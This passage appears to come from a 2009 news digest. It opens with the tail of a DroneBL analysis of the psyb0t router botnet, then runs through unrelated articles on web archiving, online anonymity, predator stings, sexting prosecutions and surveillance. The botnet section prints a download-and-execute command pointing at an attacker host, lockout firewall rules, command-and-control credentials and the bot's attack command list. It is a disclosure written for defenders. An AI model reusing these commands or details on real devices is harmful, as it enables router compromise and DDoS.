hxxp://dweb.webhop.net/.bb/udhcpc.env -P /var/tmp && chmod +x /var/tmp/udhcpc.env && /var/tmp/udhcpc.env & udhcpc.env 100% |*****************************| 33744 00:00 ETA It then takes several steps to lock anybody out of the device, including blocking telnet, sshd and web ports. # iptables -A INPUT -p tcp --dport 23 -j DROP # iptables -A INPUT -p tcp --dport 22 -j DROP # iptables -A INPUT -p tcp --dport 80 -j DROP This concludes the infection process. IRC Botnet Command and control server: strcpy.us.to IP: 207.155.1.5 (master controller, Windstream Communications AS16687) IP: 202.67.218.33 (backup controller? HKnet/REACH AS?????) Port: 5050 Password: $!0@ Channel: #mipsel Key: %#8b NickPattern: \[NIP\]-[A-Z/0-9]{9} BotController: DRS DroneURL: hxxp://nenolod.net/~nenolod/psyb0t/udhcpc.env (backup copy, i did not write it) strcpy.us.to control domain nameservers: ns1.afraid.org, ns2.afraid.org, ns3.afraid.org, ns4.afraid.org [suspended] IRC Commands .mode - sets a mode on a channel .login - login to the bot .logout - logout .exit - causes the botnet to exit and remove itself .sh - runs on shell .tlist - lists all threads .kill - kills a thread .killall - kills threads by glob-match pattern .silent - makes the bot stop sending to channel .getip - show bot WAN ip address .visit - flood URL with GET requests .scan - scans a random range for vulnerable routers/modems .rscan - scans a CIDR range for vulnerable routers/modems .lscan - scans the local subnet for vulnerable routers/modems .lrscan - scans a range in the local subnet for vulnerable routers/modems .split - splits the workload of a scan thread into two threads .sql - scans for vulnerable MySQL servers and attempts to make them download and run URL .pma - scans for vulnerable phpMyAdmin and attempts to make them download and run URL .sleep - makes the bot sleep for the given time .sel - ??? .esel - skip next part if locale is not X .vsel - skip next part if version is not X .gsel - ??? .rejoin [delay] - cycle the channel after delay .upgrade - download new bot from the distribution site .ver - returns "[PRIVATE] PSYB0T" followed by version .rs - returns detected rapidshare URLs and logins .rsgen - generate a bogus rapidshare login page and force user to browse to it .rsloop - runs a webserver i/o loop on as a thread .wget - runs wget with the provided url .r00t - attempts to raise effective UID using vmsplice() exploit (seems pointless) .sflood - sends SYN packets to IP .uflood - sends UDP packets to IP .iflood - sends ICMP pings to IP .pscan - portscans IP .fscan - tries to bruteforce FTP server at IP Commentary As stated above, this is the first known botnet based on exploiting consumer network devices, such as home routers and cable/dsl modems. Many devices appear to be vulnerable. The size of this botnet so far cannot be determined. The author of this worm has some sophisticated programming knowledge, given the nature of this executable. Action must be taken immediately to stop this worm before it grows much larger. We came across this botnet as part of an investigation into the DDoS attacks against DroneBL's infrastructure two weeks ago, and feel that this botnet was the one which flooded DroneBL. We are looking into finding out more information about this botnet, and its controller. If you have any information, we would like to know. If you intend to disassemble this botnet, you should note it's UPX-compressed. I estimate that at the time of writing, there is at least 100,000 hosts infected. I suspect that the .sql and .pma exploit tools are used for finding more controllers. But I do not have the controller payload. This technique is one to be extremely concerned about because most end users will not know their network has been hacked, or that their router is exploited. This means that in the future, this could be an attack vector for the theft of personally identifying information. This technique will certainly not be going away. Update Some prior research about an earlier version has been found here. This research was done by Terry Baume. Update 2 This botnet has apparently been shutdown: * Now talking on #mipsel * Topic for #mipsel is: .silent on .killall .exit ._exit_ .Research is over: for those interested i reached 80K. That was fun  , time to get back to the real life... (To the DroneBL guys:I never DDOSed/Phished anybody or peeked on anybody's private data for that matter) * Topic for #mipsel set by DRS at Sun Mar 22 17:02:15 2009 While this information may or may not be true, we have received HTTP-based floods from IPs participating in this botnet. We are still interested in this DRS person. If you have any information, please provide it to DroneBL. We will not disclose our sources. We also hope that the router and modem manufacturers which have been monitoring this incident take note of it and secure their firmware from future attacks. http://dronebl.org/blog/8 Inside Out  "This is a clamshell iBook, still going strong after all these years." - Satre Stuelke For more CT scans of everyday objects, click here – Jack Utah Governor Vetoes Video Game/Movie Bill Jack Thompson e-mailed GamePolitics a few minutes ago to say that Utah Gov. Jon Huntsman (R) has vetoed HB 353, the video game/movie bill passed overwhelmingly by the Utah House and Senate. We've also confirmed this with another source in Utah. According to Thompson, backers of the bill plan to seek an override of the Guv's veto. We're hearing (not from Thompson) that the word on the street is that retailers lobbied the Guv energetically. GP: Color me surprised. I did not think that Huntsman would buck the legislature on this one. UPDATE: Saintless has Gov. Huntsman's explanation of his veto: Quote:
The Internet Archive's Wayback Machine Gets a New Data Center It's housed in a 20-foot-long metal shipping container Lucas Mearian The Internet Archive today announced that it has a new computer behind it its library of 151 billion archived Web pages. The machine fits in a 20-foot-long outdoor metal cargo container filled with 63 server clusters that offer 4.5 million gigabytes of data storage capacity and 1TB of memory. The Internet Archive has been taking a snapshot of the World Wide Web every two months since 1997, and the images are made available through the Wayback Machine, a Web site that gets about 200,000 visitors a day or about 500 hits per second on the 4.5 petabyte database. "It may be the single largest database in the world, and it's all in a shipping container. I think of the shipping container as a single machine or expression made up of many smaller machines," said Brewster Kahle, digital librarian and co-founder of the Internet Archive, the nonprofit organization that runs the Wayback Machine site. For the past 13 years, the Internet Archive has been growing rapidly, most recently by about 100TB of data per month. Until last year, the site had been using a more traditional data center filled with 800 standard Linux servers, each with four hard drives. The new Sun Modular Datacenter that powers it now is on Sun's campus in Santa Clara, Calif., and houses eight racks filled with 63 Sun Fire x4500 servers with dual- or quad-core x86 processors running Solaris 10 with ZFS. Each Sun server is combined with an array of 48 1TB hard drives. The server unit is referred to as a "Thumper." "The only thing needed besides [the shipping container] are the network connections, a chilled water supply and electricity," said Dave Douglas, Sun's chief sustainability officer. "Customers using this tend to be people running out of data center space and need something quickly or need a data center in remote area where mobility is key." The nonprofit Internet Archive, which is based in the Presidio in San Francisco, uses an algorithm that repeats a Web crawl every two months in order add new Web page images its database. The algorithm first performs a broad crawl that starts with a few "seed sites," such as Yahoo's directory. After snapping a shot of the home page, it then moves to any referable pages within the site until there are no more pages to capture. If there are any links on those pages, the algorithm automatically opens them and archives that content as well. Previously, a typical Web crawl was supported by 10 or 20 clustered Linux servers, Kahle said. The new crawls are supported by the entire data center, as all 63 Sun Fire servers act as a single machine. In addition to Web pages, the Archive also keeps software, books and a moving image collection that has 150,000 items in 100 different subcollections, as well as audio clips -- to the tune of 200,000 items in over 100 collections. "We see this scale of machine, and the idea of putting machines outdoors is a potential long-term trend for organizations like us," Kahle said. The Internet Archive also works with about 100 physical libraries around the world whose curators help guide deep Internet crawls. The Internet Archive's massive database is mirrored to the Bibliotheca Alexandrina, the new Library of Alexandria in Egypt, for disaster recovery purposes. http://www.computerworld.com/action/...&intsrc=kc_top Ontario Court Orders Website To Disclose Identity of Anonymous Posters Michael Geist An Ontario court has ordered the owners of the FreeDominion.ca to disclose all personal information on eight anonymous posters to the chat site. The required information includes email and IP addresses. The case arises from a lawsuit launched by Richard Warman, the anti-hate fighter, against the site and the posters. The court focused heavily on the Ontario Rules of Civil Procedure, which contain a strong duty of disclosure on litigants. The discussion includes a review of many key Internet privacy cases, including the CRIA file sharing litigation (which the court distinguishes on the basis of different court rules) and the Irwin Toy case (which emphasized the importance of protecting anonymity, but which the court tries to distinguish on the basis of the newness of the issue at the time). The court also looks at the string of recent cases involving child pornography cases and ISP disclosure of customer information, concluding that "the court's most recent pronouncement on this is that there is no reasonable expectation of privacy." According to the defendants in the case, they are unsure if they have the resources to appeal. This particular decision feels like a judge anxious to order to disclosure, despite the weight of authority that provides some measure of privacy protection for anonymous posters. Indeed, the public policy issue is characterized as "we are dealing with an anti-hate speech advocate and Defendants whose website is so controversial that it is blocked to employees of the Ontario Public Service." Leaving aside the fact that sites blocked to employees of the Ontario Public Service is not much of a threshold (Facebook is blocked to the OPS), the public policy issue is not the merits of the particular website. Rather, it is the privacy and free speech rights of the posters to that site. Protection for anonymous postings is certainly not an absolute, but a high threshold that requires prima facie evidence supporting the plaintiff's claim is critical to ensuring that a proper balance is struck between the rights of a plaintiff (whether in a defamation or copyright case) and the privacy and free speech rights of the poster. I cannot comment on the postings themselves (and I recognize that Warman has been a frequent target online) but I fear that the high threshold seems to have been abandoned here, with the court all-too-eager to dismiss the privacy considerations associated with mandated disclosure by not engaging in an analysis as to whether the evidentiary standard was met. http://www.michaelgeist.ca/content/view/3777/125/ Pirate Bay Announces IPREDATOR Global Anonymity Service enigmax As the online battle against file-sharers heats up with governments and ISPs forced into the arena, those opposed to being monitored are investigating counter-measures. Soon the Pirate Bay team will introduce IPREDATOR, a service that promises to make global Internet users more anonymous than with existing VPN services. As the entertainment industries turn their lobbying power towards ISPs and governments in their on-going battle against file-sharers, more and more people are looking at neutralizing the effects of monitoring and new legislation. Many file-sharers already pay a few dollars each month for a VPN service. This type of facility allows the user to protect his Internet connection with encryption while “tunneling’ data in privacy through the servers of a VPN provider, usually located in another country. The user’s ISP-designated IP address remains hidden, revealing only a second IP address provided by his VPN company. This type of service hinders outsiders from finding the identity of an individual behind an IP address, while helping Internet users effectively side-step laws which may prove inconvenient or unpalatable in their home country. For those who like to share files, one country set to introduce an extremely unpalatable law is Sweden. Due to come into force in just over a week, the controversial Intellectual Property Rights Enforcement Directive (IPRED) legislation will make it easier for copyright holders to get their hands on the personal details of suspected illicit file-sharers. But not if the crew of The Pirate Bay have anything to do with it. Timed to coincide with the introduction of IPRED on April 1st 2009, a brand new service designed to neutralize the effects of the law will be launched. Dubbed ‘IPREDATOR’, this brand new anonymity service from The Pirate Bay promises to make subscribers “more anonymous” than when using traditional VPN services. Peter Sunde, aka brokep told TorrentFreak that the service is currently in beta and will be slowly opened to around 500 users. When those users are experiencing the service bug-free, it will be opened up to everyone. Fortunately the service won’t be limited to just Swedish users. Brokep confirmed that anonymity will be available globally for a modest fee of around 5 euros ($6.77) per month. The weak link in any VPN/anonymity service is always their willingness (or otherwise) to hand over your customer data when pressured under the law. However, with IPREDATOR this should not be an issue since the service is promising to keep no logs of user activity whatsoever. Anyone who would like to participate in the beta should sign up here. http://torrentfreak.com/pirate-bay-a...ervice-090323/ More Internet Predators are Challenging Agents Todd Richmond Eric Szatkowski is a Wisconsin Justice Department special agent, but on that Sunday afternoon he entered an online chat room as a 14-year-old boy. He claimed he was into weightlifting, AC/DC and muscle magazines. Then he waited. Within hours, screen name Paul2u sent a message: "Hi. u realy 14?" Over the past decade, agents and computer experts have gone after hundreds of people like Paul2u who solicit sex from kids or trade child pornography online. Police efforts around the country were all the rage with the media in the early 2000s, reaching a crescendo with Dateline NBC's "To Catch A Predator" series. Despite the publicity then and now, the bad guys haven't gone away. They've quietly multiplied. Trading child porn online and grooming underage targets in chat rooms has exploded nationwide. With arrests more than quadrupling in 10 years, Wisconsin's agents and analysts feel overwhelmed. "I don't think we've made significant progress at all," Wisconsin Attorney General J.B. Van Hollen said. "Our community leaders don't even know how bad the problem is. The general population has no idea." In the past year, Van Hollen has raised the profile of Wisconsin's Internet Crimes Against Children, or ICAC, unit, recruited local police departments to help and asked for more state dollars to help agents like Szatkowski, who adopted the 14-year-old's persona. "If I'm too young that's ok," the agent wrote back to Paul2u that Sunday back in 2002, adding: "Lots of dudes call me jail bait." "Well, yeah, if you get caught," Paul2u replied, "but if you're willing its doable." The hook was set. ___ The Internet was just gaining traction when an online child porn arrest was made by Wisconsin's Justice Department in 1995. The next year saw six arrests. The year after that, 13. By then agency officials realized what the future held, said Mike Myszewski, administrator of department's Criminal Investigation unit. Using $300,000 in federal seed money, he set up one of the first units to combat Internet crimes against children. Today about 60 such task forces exist nationwide. Szatkowski, a homicide investigator with years of undercover experience, was an early volunteer for the group, which focused at first on "travelers," people like Paul2u who solicit sex from children online and arrange meetings with them. The unit made 18 arrests the first year, 36 in 2000 and 24 in 2001. The numbers from units across the country were so encouraging federal officials thought they could eradicate chat room solicitation within three years, Myszewski said. Then computers and Internet connections got cheap. More people could afford to go online. The bad guys got smarter, too. They wanted to talk to the person on the other end of the modem and see photographs. "To Catch a Predator" only made them more cautious, Szatkowski said. Wisconsin arrests dropped, from 24 in 2001 to 17 in 2002 to 11 in 2003. Meanwhile, online child porn became more sophisticated. New peer-to-peer file sharing software enabled porn purveyors to send photographs and videos directly to each other's computers in seconds, anywhere in the world. ___ Szatkowski and Paul2u exchanged messages for an hour. Paul2u asked Szatkowski about his sexual experience with men and said he'd love to see him more than once. At one point Paul2u asked Szatkowski if he was a cop. They agreed to exchange photos. Szatkowski sent a photo of Racine County Sheriff's Deputy Matt Prochaska when Prochaska was 13. Szatkowski typed that he could sneak out but didn't want to spend all night with him. He had school in the morning. Fine, Paul2u replied. They could "do it" in his van. Paul2u asked Szatkowski to call him. Prochaska made the call and agreed to meet Paul2u in half an hour. Szatkowski glanced at Paul2u's photograph, hit print and rushed out of the office without taking a second look. Later, he wished he had. ___ The National Center for Missing and Exploited Children's cyber tip line took 85,301 reports of child porn and 8,787 reports of online enticement last year. Investigations of Internet crimes against children resulted in 3,000 arrests nationwide in 2008, according to the U.S. Department of Justice. The statistics show how an entire generation has moved online, seeking reinforcement from others with the same abhorrent sexual tastes, said Michelle Collins, executive director of the missing children center's exploited child division. Most disturbing is the correlation between child porn and enticement, said Wisconsin forensic computer analyst Dave Matthews. Viewing leads to doing, he said. "They're grooming themselves," Matthews said. Wisconsin's unit moved from busting travelers to taking down porn users. The state justice department began training every criminal agent in its Division of Criminal Investigation to help, Msyzewski said. Arrests have hovered around 100 annually since 2004. ___ Szatkowski, his partner, Mike Hoell, and Prochaska sat at a Country Kitchen in Racine, watching the clock as they waited for Paul2u. Prochaska, playing the role of the boy, wore a yellow jacket and backward baseball cap. They talked about everything Paul2u had said to Szatkowski online and how they hoped he would park in front, where they'd see him. They kept looking around, making sure Paul2u hadn't come in through a back door. Around 10:45 p.m., a brown Ford van pulled into the parking lot and flashed its lights at Prochaska. ___ Ramping up the fight against child cyber crime comes with a price. The Wisconsin task force's five full-time agents and six full-time computer analysts are swamped, mentally and physically. They analyze hard drives, catalog tips, write search warrant affidavits and criminal complaints, break down doors, and interview children as young as 3. On a recent winter morning, agent Jenniffer Price was working 43 cases, all stacked neatly on her Madison office desk. "We simply don't have enough cops on the street to do the work that needs to be done," Price said. "We've got so many offenders out there. I just see the balloon getting bigger and bigger and bigger." The work takes its toll. Szatkowski barred his children from sleepovers, instant messaging, social networking and online games when they were young. Matthews, a unit analyst since 2005, specializes in tracking down porn users. In the last six months he's identified about 50 leads for agents that have resulted in cases. He said the Internet has become an adult bookstore that pushes sexual deviants to act on their desires for children. He copes by not socializing with other ICAC agents and keeping his imagination in check. "Mainly you just shut down a part of your brain that makes you feel like crap," Matthews said. Analyst Chris Byars spends days scanning seized porn for clues. Last summer she sat outside her home in central Wisconsin, trying to watch people stroll by, and had to go inside. "All of a sudden I'm wondering how many people in Lodi right now are assaulting or abusing their children," she said. "I don't think you can turn it off." Meanwhile, Van Hollen, the attorney general, has worked to draw attention to cyber crimes and get ICAC help. News releases trumpet each bust, and the state has sponsored 300 public workshops on cyber crime. Van Hollen also has pushed local law enforcement leaders to join the unit as affiliates, creating a statewide net of cyber sleuths and easing the burden on his agents. Seventy-four agencies have joined. Hundreds haven't. When they plead that they lack resources, he has a ready answer: "I say what's more important _ these 10 speeders getting tickets or this kid not getting sexually molested?" Van Hollen asked Democratic Gov. Jim Doyle for $732,000 in the 2009-2011 state budget to hire two more agents and three more analysts, despite the state's $5.7 billion deficit. Doyle allocated funds for one agent and one analyst. The federal stimulus package could add money. Analyst Matthews just wants help, saying: "If pedophiles in this state feel that the odds are in their favor when they're browsing for and downloading child pornography, that they probably won't get caught, right now, I'll tell you that's true." ___ The van sat in the Country Kitchen parking lot. The agents' adrenaline surged. Paul2u's action in simply pulling into the parking lot was enough for them to make an arrest. The sheriff's deputies closed in and ordered the driver out. Hoell and Szatkowski stepped into the wet, 35-degree night and started walking toward them. Then Szatkowski stopped short. He recognized Paul2u. The cyber predator was 46-year-old Robert E. Thibault _ Szatkowski's children's religion teacher. Szatkowski had seen him in church that morning. Hoell found a bag of sex toys in the van. Thibault told Hoell later that he would have had sex with the boy if they liked each other, adding he'd had about 20 conversations with minor males online over the last couple years. Later that night Szatkowski looked at the photograph on his printer. He thought about how Thibault had been at his daughter's First Communion. "It just reinforced ... you don't put faith in a person," he said. "In my heart, I can forgive anyone for anything, including him. Forgiveness is huge if you're going to be a good Catholic. (But) that feeling of betrayal will be there forever." A judge sentenced Thibault to 10 years in prison on conspiracy to sexually assault a child, but stayed the time and ordered him to spend a year in jail with work release. That was modified to electronic monitoring. The jail was too crowded. Since the arrest in the Country Kitchen parking lot, Szatkowski has lured priests, teachers, police officers _ even a mayor. In January, the agent posed online as a 14-year-old girl and allegedly engaged in a conversation with Racine Mayor Gary Becker. According to a criminal complaint, Becker showed up at a suburban Milwaukee mall hoping to meet the girl for sex. Becker, who has since resigned, faces eight felony counts. He pleaded not guilty and awaits trial. "When you're a child, you shouldn't have to be exposed to this stuff," Szatkowski said. http://www.washingtonpost.com/wp-dyn...032300798.html Girl Posts Nude Pics, is Charged with Kid Porn New Jersey teen may have to register as a sex offender AP A 14-year-old New Jersey girl has been accused of child pornography after posting nearly 30 explicit nude pictures of herself on MySpace.com — charges that could force her to register as a sex offender if convicted. The case comes as prosecutors nationwide pursue child pornography cases resulting from kids sending nude photos to one another over cell phones and e-mail. Legal experts, though, could not recall another case of a child porn charge resulting from a teen's posting to a social networking site. MySpace would not comment on the New Jersey investigation, but the News Corp.-owned company has a team that reviews its network for inappropriate images. The National Center for Missing and Exploited Children tipped off a state task force, which alerted the Passaic County Sheriff's Office. 'Very explicit' The office investigated and discovered the Clifton resident had posted the "very explicit" photos of herself, sheriff's spokesman Bill Maer said Thursday. "We consider this case a wake-up call to parents," Maer said. The girl posted the photos because "she wanted her boyfriend to see them," he said. Investigators are looking at individuals who "knowingly" committed a crime, he said, declining to comment further because the case is still being investigated. The teen, whose name has not been released because of her age, was arrested and charged with possession of child pornography and distribution of child pornography. She was released to her mother's custody. If convicted of the distribution charge, she would be forced to register with the state as a sex offender under Megan's Law, said state Attorney General Anne Milgram. She also could face up to 17 years in jail, though such a stiff sentence is unlikely. Growing trend Some observers — including the New Jersey mother behind the creation of Megan's Law — are criticizing the trend of prosecuting teens who send racy text messages or post illicit photos of themselves. Maureen Kanka — whose daughter, Megan, became the law's namesake after she was raped and killed at age 7 in 1994 by a twice-convicted sex offender — blasted authorities for charging the 14-year-old girl. The teen needs help, not legal trouble, she said. "This shouldn't fall under Megan's Law in any way, shape or form. She should have an intervention and counseling, because the only person she exploited was herself." Called "sexting" when it's done by cell phone, teenagers' habit of sending sexually suggestive photos of themselves and others to one another is a nationwide problem that has confounded parents, school administrators and law enforcers. Prosecutors in states including Pennsylvania, Connecticut, North Dakota, Ohio, Utah, Vermont, Virginia and Wisconsin have tried stop it by charging teens who send and receive the pictures. Racy pictures In northeastern Pennsylvania, a prosecutor recently threatened to file child porn charges against three teenage girls who authorities say took racy cell-phone pictures that ended up on classmates' cell phones. The MySpace case may be a first, though. "I'm not sure I've seen a prosecution like this coming out of a social networking site," said Seth Kreimer, a constitutional law professor at the University of Pennsylvania. Milgram, the attorney general, could not recall another such case in New Jersey. She cautioned parents to get on those sites and monitor what their kids are talking about and posting. "Unfortunately, youth don't have the same judgment as adults," she said, "and often, adults don't have the same technical savvy as the youth." http://www.msnbc.msn.com/id/29912729/ Parents Fight Child Porn Threats Against "Sexting" Teens Backed by the ACLU, a group of Pennsylvania parents is suing to block an enthusiastic DA who has threatened to file child porn charges against teen girls who appear semi-undressed in candid cell-phone photos—unless they agree to attend a five-week program on "what it means to be a girl in today's society." Julian Sanchez As teen flirtation and sexual experimentation enter the digital age, dog-bites-man stories about adolescent exhibitionists being charged as kiddie pornographers may soon seem no more newsworthy than reports of cops breaking up a kegger. But one group of Pennsylvania parents is pretty sure their daughters aren't sex offenders—and with the help of the American Civil Liberties Union, they're suing to force a zealous county district attorney to back off. In what's becoming a familiar pattern, Tunkhannock School District officials confiscated a student's cell phone late last year, and discovered an array of photographs of local girls in various states of undress—photos that male students had apparently been trading and collecting more avidly than Pokémon cards. Duly horrified, Wyoming County District Attorney George Skumanick decided he had to protect these young women... by threatening to prosecute them for "sexual abuse of children." In a letter sent to parents in February, Skumanick declared that both the boys caught swapping the photos and the girls who'd been photographed would have to submit to a reeducation program or risk being charged with a felony. In addition to accepting six months probation, the students would have to pony up $100 for a five-week, ten-hour program that would, among other things, help them "gain an understanding of what it means to be a girl in today's society." The parents of most of the 20 or so students involved readily assented. But the parents of Marissa Miller and Grace Kelly were less than scandalized when they saw the snapshot for which their daughters had posed: both were shown wearing opaque white bras no more revealing than a bikini top—one on the phone, the other flashing a peace sign. Skumanick averred that it was nevertheless child pornography because the girls were posed "provocatively." The pseudonymous Nancy Roe was a bit more exposed in her photo, which showed her fresh from the shower with a towel wrapped around her torso, below her breasts. But her mother doubted whether a bit of nudity was all it took to make a picture "pornographic." The ACLU shared the parents' skepticism—though they've had to rely on second-hand descriptions so far. Skumanick won't show the photos to anybody else, including the parents' lawyers, for fear of becoming a kiddie-porn "distributor" himself. In a lawsuit filed Wednesday on behalf of the mothers of the three girls, the civil liberties group argues that photos merely showing minors in their underwear or topless so clearly fall outside the statutory definition of "pornography" that Skumanick could not possibly have any "reasonable expectation of obtaining a conviction." Rather, the mothers charge that Skumanick is using a frivolous threat of prosecution to bully parents into accepting his childrearing "assistance." The plaintiffs are asking a federal district court to issue declaratory ruling that the photos are protected speech, not obscenity, and to enjoin Skumanick's threats as a violation of their parental rights. Though the core of the ACLU's argument is simply that the photos don't fit any reasonable definition of porn, the filing also notes that there's something perverse about planning to charge girls as accomplices in the creation of kiddie porn for the "crime" of allowing themselves to be photographed. While some similar cases involved students who sent pictures of themselves to boyfriends, it's not clear in this case whether the girls in the photos ever themselves possessed or distributed the pictures. Perhaps understandably, the ACLU filing doesn't broach the harder question of whether it makes any sense to wield laws designed to protect children from exploitative pedophiles against adolescents sharing racy photos with each other. Recent surveys show that some 20 percent of teens have done precisely that, either via the Internet or cell-phone cams. The courts have traditionally recognized several legal justifications for criminalizing the possession and distribution—as opposed to the creation—of child porn. There's the state's interest in protecting the minor depicted from further exposure, of course, and the desire to deprive pedophiles of images that can be shown to future victims in order to weaken their resistance. But at the core of the Supreme Court ruling that upheld child porn laws against a First Amendment challenge, New York v. Ferber, was the assumption that child porn would nearly always be the byproduct of an initial act of exploitation of a child by an adult. Criminalizing possession of the product was meant to undermine the market for its creation. In a more recent case, Ashcroft v. Free Speech Coalition, the court found that "virtual" child porn—that is, the sort created without the use of actual children—could not be criminalized consistent with the First Amendment. While "sexting" obviously does involve actual minors, the grounds on which the Court distinguished its holding in this case from Ferber seem relevant. In Ferber, the majority found, the "production of the work, not its content, was the target of the statute." Distribution or possession of the work was subject to penalty because there remained "a proximate link to the crime from which it came." When teens produce the work themselves—either alone or, depending on state law, with a partner roughly the same age—there may not be a distinct "crime from which it came." It's easy enough to understand the desire to deter "sexting": when those images do get into the wild, as they all too easily do, they tend to spread with incredible speed, making an immature lapse of judgment a potentially permanent burden. On the other hand, the seven-year prison term that would accompany a conviction seems fairly burdensome too. And the girls would still find their photos plastered on the Internet: on Pennsylvania's registered sex offenders website, along with residence and employment data. An initial hearing in the suit is scheduled for Thursday afternoon. It remains to be seen whether the public attention the case is garnering will affect Skumanick's bid for reelection in May. http://arstechnica.com/tech-policy/n...ting-teens.ars Graphic Artists Condemn Plans to Ban Erotic Comics Jerome Taylor A coalition of graphic artists, publishers and MPs have condemned Government plans to introduce a new set of laws policing cartoons of children, arguing that the current broad wording of the legislation could lead to the banning of hundreds of mainstream comic books. This week Parliament will discuss a new Bill which will make it a criminal offence to possess cartoons depicting certain forms of child abuse. If the Coroners and Justice Bill remains unaltered it will make it illegal to own any picture of children participating in sexual activities, or present whilst sexual activity took place. The Ministry of Justice claims that the Bill is needed to clamp down on the growing quantity of hardcore paedophilic cartoon porn available on the internet, particularly from Japan. But critics of the legislation say the current definitions are so sweeping that it risks stifling mainstream artistic expression as well as turning thousands of law abiding comic book fans into potential sex offenders. One of the books likely to fall foul of the new law is The Lost Girls by the graphic artist Alan Moore. The world renowned British writer is the creator of critically acclaimed comics such as Watchmen and V for Vendetta, and is regarded as one of the finest writers of his generation. The Lost Girls was published in the UK in January to largely favourable reviews and is an erotic graphic novel that imagines the teenage sexual awakenings of three famous fictional characters. In the book Alice from “Alice in Wonderland”, Dorothy Gale from the “Wizard of Oz” and Wendy Darling from Peter Pan meet as women in their 30s and discover that they all share equally high sex drives. Certain pages in the novels could fall foul of the new law because it currently defines a child as under 18-years of age. This is problematic because many of the women's sexual experiences in The Lost Girls occur in their late teens when they are above the age of consent but still under 18-years-old. There are even fears that Watchmen, one of the industry's most critically acclaimed graphic novels, could risk being banned because one of the main superheroes sees his mother having sex when he is a young child. Comic book writers and publishers, including Moore's daughter Leah who is herself an acclaimed graphic artist, have now set up the Comic Book Alliance to ensure that the legislation only targets overtly paedophilic and pornographic cartoons and not artistic erotica. “We do not oppose any legislation that protects children from abuse, we understand the need for it, but some parts of the Coroners Bill do need rewording and clarifying,” said a spokesperson. “This new legislation could be used for the wrong reason and if used incorrectly thousands of people could become criminals overnight. The Government refused to impose minimum tariffs on cheap alcohol because it was unfair to punish the majority for the crimes of a minority; yet this legislation does exactly the same.” Their campaign has won the support of a number of prominent comic book writers including Bryan Talbot, John Reppion and Neil Gaiman, the British-born writer of Stardust and The Sandman comic series. Gaimen wrote on his blog recently that cracking down on cartoon pornography invariably meant governments passed overly broad laws that stifle artistic expression and criminalise innocent people. “If you accept - and I do - that freedom of speech is important then you are going to have to defend the indefensible,” he wrote. “That means you are going to be defending the right of people to read, or to write, or to say, what you don't say or like or want said. The Law is a huge blunt weapon that does not and will not make distinctions between what you find acceptable and what you don't. This is how the Law is made.” The Bill currently going through Parliament is closely modelled on a similar piece of Australian legislation which has caused numerous controversies since it became law. Earlier this month an Australian man was convicted of possessing child pornography because he downloaded six images of characters from The Simpsons performing sex acts on each other as a joke. Chris Staros, the publisher of Alan Moore's The Lost Girls, said he hoped any new legislation in Britain would not target mainstream comic book writers. “It would be a tragedy if any law was enacted that would prevent an author from telling the story that they wanted to tell,” he said. “Lost Girls is a universally praised, literary and artistic work of art, and it deserves to be read by any adult who wishes to read it. Freedom of speech is one of the cornerstones of any free society, and it is always frightening to me when legislation is proposed that would chip away at those rights.” Jenny Willott, the Liberal Democrat MP for Cardiff, is one of the few MPs who has spoken out against the Bill. “The problem I have is that the definition of what constitutes and image and a child is incredibly broad,” she said. “The Government considers almost anything to be an image, from a painting to a private scribble on a piece of paper. At the same time they have defined a child as something that looks like a child even if it isn't.” The Ministry of Justice has denied suggestions that Britain's comic industry would suffer from the law. A spokesperson said: "The clauses in the Bill are to tackle pornographic and obscene images of child sexual abuse which have no place in our society. It is not our intention to criminalise the possession of material that does not fall foul of the Obscene Publications Act or to criminalise the legal entertainment industry, the art industry or pornographic cartoons.” http://www.independent.co.uk/news/uk...s-1652270.html Jackson Stops Enforcement With Red-Light Cameras Emily Wagster Pettus Mississippi's capital city will stop issuing tickets and collecting fines when automatic cameras snap pictures of vehicles running red lights, city attorney Sarah O'Reilly Evans says. The change in Jackson is being made immediately, even though a new state law sets an Oct. 1 deadline for the cameras to be taken down in the only two cities already using them - Jackson and Columbus. Natchez, Tupelo, Southaven and McComb are among the cities that have considered installing the red-light cameras. Officials there are scrambling to re-evaluate their plans or contracts because the law prohibits the devices in any city or county where they're not already up. The cameras take pictures of the license plates of vehicles that run red lights. A photograph is sent to a vehicle's owner, along with a ticket. Cities share revenue with the private companies that have contracts to operate the cameras. "We were interested in them for safety," Natchez Mayor Jake Middleton said Monday. "The only person that's going to get in trouble or get a ticket is the person who runs a red light." Several lawmakers complained the cameras were an invasion of privacy and their constituents thought they had been unfairly ticketed. Gov. Haley Barbour's office announced Monday that he had signed the bill into law late Friday. Barbour spokesman Dan Turner said the governor decided to sign the bill after being assured by the Mississippi Highway Patrol that law enforcement officers would still be able to use dashboard cameras to record their interactions with people pulled over for traffic stops. Jackson has used the cameras since October at eight busy intersections. Police Chief Malcolm McMillin said officials saw the cameras as a way to reduce accidents. McMillin, who doubles as the Hinds County sheriff, said city officials are "not going to drown ourselves in self pity" over the camera ban. He said the police department doesn't have enough officers to constantly sit at busy intersections and catch people running lights. J. Thomas Ramsey is a lobbyist who represents RedSpeed Mississippi, the private company that has a contract to install red-light cameras in Natchez. Ramsey said the company already has spent money for the process of installation, including hiring engineers to evaluate traffic patterns. "These cameras save lives. And lives will be sacrificed for populist politics," Ramsey said. He said RedSpeed Mississippi is deciding whether to file a lawsuit to challenge the camera ban. Anticipating that Barbour might sign the ban into law, the Columbus City Council voted last week to remove a camera in the central part of town, and officials are examining the city's contract with a private company that operates the camera and handles the ticketing process. Columbus' chief financial officer, Mike Bernsen, said people have paid more than $53,000 in fines. The bill passed the House 117-3 on Feb. 11. It passed the Senate 42-9 on March 4. The bill is House Bill 1568. http://www.sunherald.com/185/story/1221991.html Criminals Love the BlackBerry's Wiretap-Proof Ways: Police MP wants wireless devices to be intercept-ready CBC News Wireless messages sent on a BlackBerry are so hard to intercept that the smartphones have become the device of choice for both criminals and law enforcement, police say. While some police admit that level of security makes the BlackBerry their preferred handheld device, they also say that also makes it hard for them to listen in on suspected criminals. "It does limit our abilities to intercept, which in turn minimizes our abilities to prevent the crimes," said Supt. Pat Fogerty of the Combined Forces Special Enforcement Unit of British Columbia, a division of the Royal Canadian Mounted Police. The problem is that BlackBerry smartphones, designed by Waterloo, Ont.-based Research In Motion initially for corporate clients, run software called the BlackBerry Enterprise Server that creates a secure and private network and encrypts data. Police say criminals are using additional layers of encryption with other types of software, bringing the encryption level up to military grade. "They completely know that this technology is to their advantage," Fogerty said, "and they will stay on that technology until such time that there is new technology that will be even more secure." Tappability an 'essential tool': MP Liberal MP Marlene Jennings said police have been asking for years for legislation that would force internet and wireless providers to use technology that can be tapped. "Law enforcement needs it, Canadians need it; it's an essential tool for 